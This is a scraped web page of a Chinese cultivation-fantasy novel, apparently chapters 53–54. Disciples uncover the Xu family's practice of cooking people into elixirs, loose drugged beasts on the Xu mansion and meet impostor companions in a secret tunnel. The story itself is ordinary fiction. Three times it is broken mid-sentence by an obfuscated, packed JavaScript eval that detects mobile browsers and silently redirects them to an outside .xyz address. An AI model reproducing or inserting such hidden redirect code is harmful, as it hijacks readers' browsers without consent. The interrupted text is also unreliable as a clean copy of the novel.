;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471949|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”庙外传来一道颤抖的声音。 闻声,薛予蓁和谢云涧对视一眼,齐齐笑起来,举起手击了个掌。 一位四十岁上下的妇人扶着门框显出身形,头发凌乱,衣着朴素。她怯怯地看了六人几眼,就直直地朝他们跪了下去,“几位仙长,你们千万不要被骗了呀,那徐家真是吃人的魔窟啊……”说着,她重重地磕在地上。 薛予蓁没想到会这样,急忙去将她搀扶起来:“阿婶,你别这样。我们来这里,就是为了解决这个问题。” 妇人眼露不解,“那你们刚刚说的那些……” 许乐禾拿了药膏递给她。这会儿也明白了薛予蓁和谢云涧那番话是说给谁听的了,“那是他们专门说来诈您出来的。” 薛予蓁不好意思地笑了笑,“修士的五感比常人敏锐许多,您头一回跟着我们时,我们就已经发现了。” 但这位阿婶实在是太谨慎,也对鹊柳城太熟悉,等到薛予蓁他们要去将人找出来时,不是躲到人群里去,就是顺着哪条小巷跑了。 他们倒也可以强行将人拿下,但城中徐家的探子隐在暗处,怕落下话柄才不得已出此主意。更何况,他们还不清楚跟着他们的人到底是知情者还是徐家给他们下的套。 谢云涧晃晃手中的符纸,“徐家的探子都被忽悠走了,这位阿婶应该不是徐家的人。” 阿婶愣了一下,眨了眨眼睛:“我是……” “啊?”谢云涧呆住了。 阿婶反应过来,又摇摇头:“我以前是。我叫赵少莲,以前是徐家的厨娘……” 往上三辈,她家都在徐家做事。那时候觉得,主家仁善,父亲意外离世,他们比自己这些亲人还悲痛。现在回想起来,父亲的死亡并非意外,那些悲痛不过是笼络人心的演技。 “我男人是茶庄的木工,两年前死了,同伴的人说是做工的时候没踩稳,从高处摔下来,当时就没了气。”赵少莲道,“我那时觉得天都塌了。还在庆幸主家是个好心的,不仅没推脱责任,给了我一大笔钱,也不介意我那段时间时长出神,在厨房里做错事。” “直到半年前,我在屋里收拾东西,有张纸从他的遗物里掉了出来……” 赵少莲幼时家中还算殷实,识得些字。那张纸上,画着一口大锅,大锅里放的不是什么蔬菜肉类,而是活生生的人!她看了一眼就吓得将纸丢开了。 “就一张画,就写了两个字,‘快走’。他就死了。”赵少莲脸色惨白,手不住得颤抖着,“摔得脸都看不出是谁了。” 寥寥几句话,便是她这半年夜夜的噩梦。梦里大锅架在火上,锅里的水沸腾翻滚,水中是面目全非的男人。 “我起初还不信。直到后来,我偶然撞见徐家的护卫往厨房后面丢人,装在麻布袋里,血淋淋的……” “我躲在干柴堆里,大气不敢出一口,吓得腿软,回家的时候就把一条腿摔断了。” 薛予蓁看了一眼,她站姿确实和常人不一样。薛予蓁想去给她找个凳子,却被死死抓着衣角,赵少莲说了许久,如今已经泪流满面,全靠薛予蓁托着才不至于跪倒在地上,“仙长,仙长,求求你们!一定要将他们抓了啊!” 平阳城张家不过一个入不了眼的小门户,十几年下来都害了千余人。徐家家大业大,和各个门派纠缠颇多,又有多少人惨死其中呢? 薛予蓁搂着赵少莲,脸色肃然,眼中烧起熊熊火焰。 53. 第五十三章 攻守 “不行!这绝对不行!”薛予蓁抱臂靠在墙边,厉声拒绝了子书珹的想法,“估计徐家如今已经知道知源宗来人监视他们了。接下来不是揣着明白装糊涂就是要杀我们灭口。” 她道:“子书师兄难道想做活靶子不成?” 子书珹被她这样训,不仅不恼,还笑了出来:“平阳城时徐赠春做得的事,我却做不得?” 薛予蓁简直两眼一黑:“这根本不一样!” 平阳城那会儿还是以活人试药,但这可是用活人炼药啊。那会儿还能救,这边若是一被抓住就丢去炼丹了怎么办? 救都来不及救! 谢云涧举起了手:“其实我与阿予那会儿就想了个主意。”他瞄了一眼子书珹,见他面色如常,才继续道,“那时我们追着凌河药谷的两位弟子,闹出的声音太大,引来太多百姓,便借口灵兽发狂搪塞过去。” 薛予蓁接了他的话:“而且,子书师兄,我记得长老将遗落的那些邪药都给你了。” “是。” 薛予蓁哼笑一声:“那便叫他们尝尝自己造下的孽。我们去捉几只野兽,将药喂给它们,让它们去撞徐家的门。” 子书珹不置可否,只问:“城中百姓该如何?” “自然是挑个夜深人静的时刻,比如现在就很好。”薛予蓁道,“虽然可能会吵闹了些,但至少不会伤到普通人。” “凶兽发狂不受控,你又如何确保它们不会撞其他地方,伤到无辜百姓?”子书珹挑眉。 谢云涧插嘴:“自然是由我们驱使。”他见子书珹看向自己,解释道,“子书师兄,既然我们来鹊柳城的目的就是挖出徐家,又已经被察觉到了,何必再掩藏?” 子书珹盯着他们俩看了一会儿,突然笑道:“准了。现在就去做吧。” 薛予蓁惊喜道:“我还以为子书师兄会觉得这样太过招摇。” 知晓一切的明若遥无奈的摇摇头:“因为他自己也是这样想的,刚刚不过是在诓你们呢。” 这两日里,三人并未在城外发现什么异常,而宜苏茶庄也不过是草草在表面上瞧了瞧,内里藏了什么一概不知。子书珹本就没什么耐心,当即就提出了这么个主意。 “但当时我觉得这太莽撞了,就说等我们汇合后,问问你们的意见。”明若遥道,“谁知你们也是一样的想法。” 徐家这罪名已经是板上钉钉,而今五洲情况紧急,实在没什么时间与他们周旋。薛予蓁和子书珹对上目光,两人如出一辙地坏心眼。 既然选择动手,那就要让徐家毫无招架之力。 ----- 今夜晴朗,天上的星子闪烁明了。俆府门口两个守夜的侍卫睡眼朦胧,仗着无人看管,席地而坐,靠着大门上打起了呼噜。只偶尔被凉风冻醒了,才坐起身四处看看。 左边那个本还做着升官发财的美梦,却居然觉得地面在颤动。他茫然地睁开眼睛,擦了擦嘴边的口水,朝自己的同伴喊道:“诶,醒醒,我怎么感觉不太对啊?” 同伴也睡得正香,被吵醒后不耐地横了他一眼,含糊不清地嘟囔道:“哪有什么不对劲的?疑神疑鬼。” 那人也想糊弄过去,但脚下的震感越发强烈,他不安地按着腰间长刀,站起身,朝着不远处的黑影看去。 这一瞧,险些将他吓得直接瘫坐到地上,他扑过去两脚提醒同伴,又哐哐地去砸门,大喊道:“不好了!不好了!有凶兽发狂了!正朝着府上来!快,快开门!” 他真是被吓到了,声音大得有些凄厉。 听见这喊声的薛予蓁和谢云涧却很是满意,两人共同驱使着一头凶兽,直直往徐府门口赶。 本就面目狰狞的凶兽吃下邪丹后更为狂躁,但在两名金丹修士的强压下,一点偏路都走不得。 门外守卫双腿抖如筛糠,眼见凶兽离自己越来越近,更是叫嚷得厉害,嗓子都喊破了。 幸而里面的人听见了他们的呼救,揣着刀剑就奔了出来。 薛予蓁眼尖地看见大门打开,往凶兽身上猛抽一鞭,喝道:“就是现在,去!” 说完,便同谢云涧闪身躲到角落里,给后面的凶兽让开道路。 被束缚已久的凶兽早便按耐不住邪药激起的破坏欲,也不去找将它们折磨成这样的罪魁祸首,只朝着俆府攻去。 俆府的守卫并非全是常人,几名修士妄图用简单的铺兽阵将它们捉住,但却低估了药物带来的影响,被凶兽一头撞上,死死抵在墙角,没一会儿便断了气。 薛予蓁看着不断迎上的守卫,皱眉道:“先前进徐家时,就觉得守卫太过薄弱,现在一看,果然如此。” 谢云涧附和道:“若是这样的话,那便说明更重要的东西不在这里,而在城外的茶庄。”他看向茶庄方向,却是骤然一惊,“那边——” 敲定计划后,几人就从北城门换到了离俆府更近的东城门。而此刻,从俆府往北看去,分明是在夜里,那边的天却亮得吓人。 子书珹道:“是火,有人在茶庄放了火。”他伸手在风中感受了一下,脸色一变,“不好,若是任由它这样烧下去,城中的百姓也会遭殃。” “可除了我们,还有谁在调查徐家呢?”薛予蓁道。 然而子书珹已经无暇回答她这个问题,他从袖中拽出一道传音符,道:“去茶庄救火,势必要在波及到城中百姓之前控制下来。” 他下完命令,转身看向明若遥和许乐禾,“你们二人和我一同去城外。小风筝,还有谢公子,徐家便交给你们了。” 明若遥和许乐禾都没有异议,两人先行离去。 薛予蓁心中还有许多疑问,但事出紧急,她拦住了还要说话的子书珹,“子书师兄,你先去吧。城内之事不必担忧,我和谢云涧会处理好的。” 子书珹却是有些犹豫,薛予蓁即使这段时间经历了够多的事情,也不过还是个十七岁的孩子。 谢云涧看出他的担忧,出言安抚道:“师兄,城外出了这么大的乱子,徐家估计没空在意府上发生了什么。留我二人足矣。” 他说得有理,子书珹点点头,“好,我留几个人看护城中之事。小风筝,你们小心为上。” 说罢,他就匆匆往茶庄赶去。 薛予蓁看着他的背影,还有些没缓过神来,“到底是谁……” 垂在身侧的手被人握住,谢云涧拉着她往俆府走去,“相信子书兄吧,他们能处理好的。” 听这称呼,薛予蓁打趣道:“哦,这会儿你又不喊他师兄了?” 谢云涧脚步未停,哼笑一声:“本是看你们都太过紧张,想要活泛一下气氛。谁知那位师兄这次居然不在意。” 薛予蓁长叹一口气,道:“近来发生的事情实在是太多了,子书师兄从五宗大比后便没闲过,也是没这个心情闹。” 是吗?谢云涧腹诽,那人分明在来时的路上还有功夫同他争风吃醋。 薛予蓁见他没说话,道:“谢云涧?” 知道子书珹对薛予蓁来说也是很重要的人,谢云涧自然不会将心里话说出去,扬起一抹笑,毫无感情地回道:“的确,他真是辛苦了。” 闻言,薛予蓁偏过头偷偷地笑了下。 -- 两个跃上屋顶,居高临下地观察着俆府现在的情形。 前院的守卫根本拦不住凶兽,它们很轻松地闯到了后院之中。那些精美的假山陈设、亭台屋舍瞬间毁于凶兽们的横冲直撞下。而没有被保护着的下人们要么哭嚎着疯狂逃窜,要么惨死在凶兽嘴下。 薛予蓁一寸寸地看去,发现确实谢云涧说的一样——俆府现在并没有多少护卫守着前院,反而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471950|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个劲地往后院,不,应该说往厨房后面回护。 不知是哪个惊慌失措的仆人打翻了灯笼,烛火攀着倒塌的亭榭往上熊熊燃烧,不过眨眼间,后院便火光冲天。 附近的住户被噪声惊扰,不少人都打开房门想看看出了什么事。 薛予蓁正忧心这里的祸端也是殃及普通的百姓,就见五六名知源宗的弟子已经围着俆府结阵阻隔。其中一人看见了薛予蓁,朝她挥手示意道:“师姐!此处有我们,不必担忧!” 也是,师兄不可能只叫他们六人负责此事。薛予蓁松了一口气。 “阿予,你瞧那儿。”身旁的谢云涧突然拽了一下她的手臂,目光示意她往下看。 后院火势渐大,几乎所有人都在想着逃命,也不管前院还有凶兽,一股脑地往前面冲着。而偏生这个时候有一人逆着人群直直往厨房后走。 薛予蓁眯着眼睛仔细瞧了瞧,“那是——” “徐老爷!”谢云涧道。 “看来那位阿婶没说谎,徐家后面真的藏了什么东西。”薛予蓁看向谢云涧,吵着徐老爷逃窜的方向歪了歪脑袋,“走!” 徐老爷草包一个,空有一身修为却不知如何使用,很快便被两人追上来。 薛予蓁按着他的肩将他抵在墙上,笑嘻嘻地说道:“徐老爷,又见面啦。” 徐老爷早被这一晚上莫名发生的事情吓破了胆,又来了个从未见到过的小姑娘给他说“又见面啦”,他啊啊两声,眼睛一翻便昏了过去。薛予蓁手一松,他便倒在了地上。 薛予蓁:…… 谢云涧解决完徐老爷的护卫回来时,就见薛予蓁跪在地上,双手在徐老爷身上四处摸索着。 “阿予,你这是在做什么!”他连忙上前阻拦,却见薛予蓁朝他举起手,手中握着一枚玉白腰牌。 “找到了!” 薛予蓁拍拍膝上的灰,无奈道:“本想好好审一审这个老头,谁知才同他说了一句话就昏过去了。”她皱着眉指了指自己的脸,“我长得很吓人吗?” 谢云涧看着那双明亮的杏眼,有些脸热,摇了摇头,“自然不是。”他轻咳一声,踢了踢徐老爷,“坊间传言,世家之间要说内斗,徐家是当之无愧的第一。怎么还会有他这个草包?” 薛予蓁倒是没听过什么关于徐家的传闻,她拿着腰牌在墙面上一寸一寸地试探着,“原以为厨房后面有什么东西,追过来却只有这面墙。” “你这是在找暗道?”谢云涧见状也凑上前,打量着这面高墙。 徐家这座府邸靠着连鹤山而建,高墙之后便是看不见顶的山。若是想搞些小动作,简直太方便了。 “是。”薛予蓁应了一声,但没在墙上发现什么,“先前分明有那么守卫到这里来,我们一过来却只有徐老爷他们。可我没找到……” 谢云涧低头思索了一下,继而勾起一抹笑,“既然已经大动干戈了,就不必这样畏畏缩缩地找暗道。负星!” 见他唤出负星,薛予蓁有种不祥的预感,她往后挪了挪步子,谨慎地看着他:“你要做什么?” 谢云涧但笑不语,双手执剑,将负星插入地下,默念道:“四相见空,开!” 剑气凝于地下,向四面八方铺开,带来一瞬的震动。 待剑气散去后,薛予蓁好奇地看了看,望着高墙外的山体,伸手接住一片被震落的叶子,道:“好像没什么发生,难不成这里没什么密道——” 谢云涧却是一把抓住她的手臂,脸色莫名有些难看。 他挤出一抹笑,“阿予,你别怪我……” 薛予蓁刚想问他怎么回事,耳边就传来一道细碎的断裂声,同时脚下的地面微微颤动。 轰—— 地面陡然破开大洞,站在上面的两人甚至来不及反应就已经在往下坠落。 54. 第五十四章 真假 薛予蓁咬牙切齿地想到,这是第几次了? 平阳城一次,宁沂秘境一次,难道她这辈子就和坑过不去了吗? 她恨恨地瞪了谢云涧一眼,招出不系舟刺入石壁,好不容易止住下滑的趋势,却没想到地面塌陷带动高墙坍塌,数不尽的碎石滑落进坑洞中,往两人身上砸。 薛予蓁下意识地挥剑去挡,却忘记了不系舟正支撑着自己。 石块是挡住了,人也随着碎石子直直地往坑底掉去。 “啊——!” “阿予”谢云涧伸手去够,却将将错开一点,只能眼睁睁地瞧着她掉了下去。这叫他更是自责,于是将负星一收,跟着跳了下去。 ----- “还,还好有梯子。” 方才掉落途中,薛予蓁心头升起了御剑的念头,想起五洲灵力衰竭,担心一会儿若是遇上什么棘手的情况,自己没了灵气应对。 密道幽深漆黑,她本已经做好了重伤的准备,但偶然间手指触及到一截木梯,来不及怀疑些什么,薛予蓁便已经死死地攥住了它。 她抬头看去,却只能看见一片黑,“明明听见谢云涧喊我了,他人呢?” 不能视物的感觉实在不好,她伸手在怀中找火符。符纸还没找到,就听见木头喀喇喀喇断裂的声音。 这下完蛋了! 薛予蓁紧闭着眼睛,可预料中的疼痛没等来,自己反倒是被人拦腰截住,搂进一个带着寒意的怀抱。 那人身法了得,几息便带着她稳稳落地。 “吓傻了?连自己学过轻功都不记得?”耳边的声音莫名熟悉,带着些斥责,“该罚。” 唰。 幽暗的地道里亮起一簇火苗,薛予蓁抬头看清了来人的脸,她惊喜道:“师兄!” 又看向举着火符的人,正是徐赠春。 她正想打招呼,忽地想起自己在人家家里干了不少坏事,呐呐道:“徐师姐……” 徐赠春看出她的不自在,道:“我同家中生疏已久,不必顾忌我。”说罢,她笑了笑,“倒是你,怎么又掉坑里了?” 这也是薛予蓁想不通的地方,她无奈地叹了一口气,将事情同两人讲了一遍,不出意外地换来了两声笑。 “师兄和徐师姐怎么会到这里来?事情都办完了吗?” 褚霁远点点头,“已去清州看过。回程时途径鹊柳城,瞧见火光漫天,来看看。” 想起宜苏茶庄的火,薛予蓁心头一紧:也不知子书师兄那边情况如何。 正想着,被轻轻摸了摸头,“别担心,相信子书珹能处理好。” “嗯。”薛予蓁道,“对了,清州到底发生什么事了?” 徐赠春道:“五洲灵气不足,灵兽焦躁。” 到头来还是一样的原因。薛予蓁蓦地又想起了伐邪的话,不自觉地抬手捂住自己的胸口,不敢再去看褚霁远。 偏偏她的好师兄这会儿贴心地过分,见她垂着头不说话,以为是真的被吓到了,揽着她的肩慢慢往前走着,“此事师父们会处理,别怕。” 薛予蓁不欲叫他在这个时节还要分心来安抚自己,抬头想告诉他自己没事,却见一道银光在褚霁远身后一晃而过,她双眸陡然睁大,扯着他的衣袖往旁边一闪,“师兄,小心!” 不知从哪冒出来数十名黑衣人将他们三人团团围住,为首的那人也不言语,手中长刀一挥,便毫不留情地朝他们劈来。 这是要杀人灭口!薛予蓁握紧不系舟就要迎上去,月白的衣袖挡在她面前,褚霁远道:“退回,暂且不需要你出手。” 嗯?薛予蓁疑惑地看向他,师兄好像不太对。 一旁待命的徐赠春将火符一丢便提剑冲入人群,长剑挽了个剑花,分毫不差地划过一人的咽喉,霎时溅了她满身。而褚霁远只站在薛予蓁身前,唤出敛芳华,只一招就将五六名黑衣人带倒。 不出半刻钟,徐赠春再次点亮火符,密道内满地的尸体。她脸上沾着不知哪人的血,她原本不太在意,见薛予蓁一直看着自己,以为她害怕,才掏出一块手绢擦了擦。 徐赠春道:“有师兄师姐在,怎么会叫你出手?” 这话一出口,让薛予蓁的心瞬间沉入寒潭中,她背在身后的手死死攥紧,尽力控制住自己的表情,“多谢徐师姐体谅。” 褚霁远道:“继续往前走吧。方才我探了探,徐家在这修了个地下迷宫。得好好找找路。” 这两个人,是假的。 薛予蓁看着两人的背影,额角直冒冷汗。 徐赠春剑法不精,更为常用的是她的长鞭缠枝阙,而褚霁远——薛予蓁抬眼看去,他一身月白长袍,即使是刚才的混战都没沾上一点血污,还是如往常一样冷若寒霜。 但正是这样才奇怪,褚霁远在宗门外从不穿浅色的衣袍。 变成手镯的不系舟感受到主人不稳的情绪,一闪一闪地想要出来,薛予蓁捂住它,在心中默念道:“没事的,不系舟,我没事。”我倒要瞧瞧,是什么人敢冒充褚霁远和徐赠春。 留意着薛予蓁的“褚霁远”没听见她的脚步声,转身道:“怎么了?不舒服?” 薛予蓁心中以有了思量,她扬起笑跑到两人身边,道:“没有没有,只是方才看见徐师姐的剑招,颇为惊叹。”她扭头看向徐赠春,“徐师姐分明剑术了得,平日里总是托词自己不擅长。是不是瞧不上我的三脚猫功夫?” 徐赠春一愣,不回答她的问题,反而倒打一耙:“好哇,小风筝你现在连师姐都敢打趣了。真是出来几趟,长大了。” 她的眼神中藏着一丝兴味,看得薛予蓁浑身不适,“怎么会呢……我,我只是没见师姐用缠枝阙,有些好奇。” 这番话几乎就是将“你是假货”放在明面上了,薛予蓁抚摸着不系舟,眼神落在徐赠春身后那条密道上,若是现在就戳破了这两人的真面目,自己只有那里能跑了。 谁知徐赠春只是不在意地拨弄了一下挂在腰间的长鞭,道:“密道狭窄,使起来不太方便,若是不慎打到你了,褚师兄可饶不了我。” 薛予蓁手一顿,神色疑惑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471951|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着徐赠春,“诶?” “褚霁远”看着她,拍了拍手,“不错,还知道试探人是真是假。” 徐赠春走到她面前,带着的手在自己脸上颈后摸索,“放心吧,是真的。摸摸看,师姐没带什么人皮面膜。”又握着她的手自己脸上狠狠摩擦了几下,面上都有些泛红了才停手,“也没用什么脂粉掩盖。” 徐赠春的这一番操作,倒叫薛予蓁有些手足无措,她慌慌张张地将手收了回去,神色懵然地看了看两人。 “不信?”褚霁远朝薛予蓁招招手,“那来试试师兄是真是假?” 薛予蓁连带着脖子都红了,她捂着脸摆摆手,“信了信了,师兄不要这样戏弄我了。” 徐赠春调笑道:“戏弄谁?莫不是你在戏弄我们——” “徐师姐!你身后有人!”薛予蓁本就和两人面对着,放下手,笑意被惊慌失措半道截住,她指着徐赠春身后,大声提醒道。 徐赠春立马就防备地转身看去,但就在她要抬头时便察觉到了不对劲,视线从石壁缓缓挪到自己按剑的手上,她无奈地叹了一口气。 身后已然响起薛予蓁拔剑出鞘的声音。 下意识的动作是不会出错的。面前这个“徐赠春”在听见有敌袭第一反应是双手探向身体两侧,而并非去取缠枝阙。 薛予蓁此刻眼中尽是敌意,她持剑指向两人,“你们究竟是什么人?” 看“徐赠春”的动作,是取双手剑。薛予蓁思索道:“曲飞白?崔以云?” “徐赠春”还想装一装,“什么?师妹你是不是看错了,什么曲飞白崔以云,这里除了我们三个也没别人啊。” 回应她的是薛予蓁甩出的一道剑气,“徐赠春”没做防备,堪堪躲开,再看向薛予蓁时眼神已经变了,“嚯,可以嘛。小师妹还算敏锐。”她丢了个目光给“褚霁远”,“被自己最亲爱的妹妹用剑指着是什么感受?” “褚霁远”神色不变,看向薛予蓁的眼神还是温柔如初。看着他这副样子,薛予蓁一时有些犹豫,心神一乱,剑尖便不稳了。 她看着褚霁远,不同于徐赠春明明白白露出来的破绽,仅凭一件衣服,她不能确定面前的师兄到底是真是假。 “师兄……”薛予蓁喃喃喊道。 “褚霁远”听见她唤自己,微微偏了一下头,“师兄啊……师兄在。”而后再次抬眼看向她,重复道:“师兄在。” 薛予蓁看着他的眼睛,突然感到自己眼前出现重影,头脑变得昏沉起来,不系舟感受不到主人的灵力自发变成手镯回到腕上。薛予蓁甩甩脑袋,强撑着睁开眼睛,“你到底是谁……” 但眼皮越发沉重,她身体晃了晃,终于还是没能抵抗住,腿一软便要倒地。但在倒下的前一秒,那道月白的身影瞬间移到她身边,她闻见了清棠峰上冷霜的味道,挣扎着抬手揪出他的衣衫,“师兄,为什么……” 昏过去的最后一瞬,她感受到师兄轻轻摸了摸自己的脸颊,听见他说: “睡吧,这些事情,本不该由你来承担……”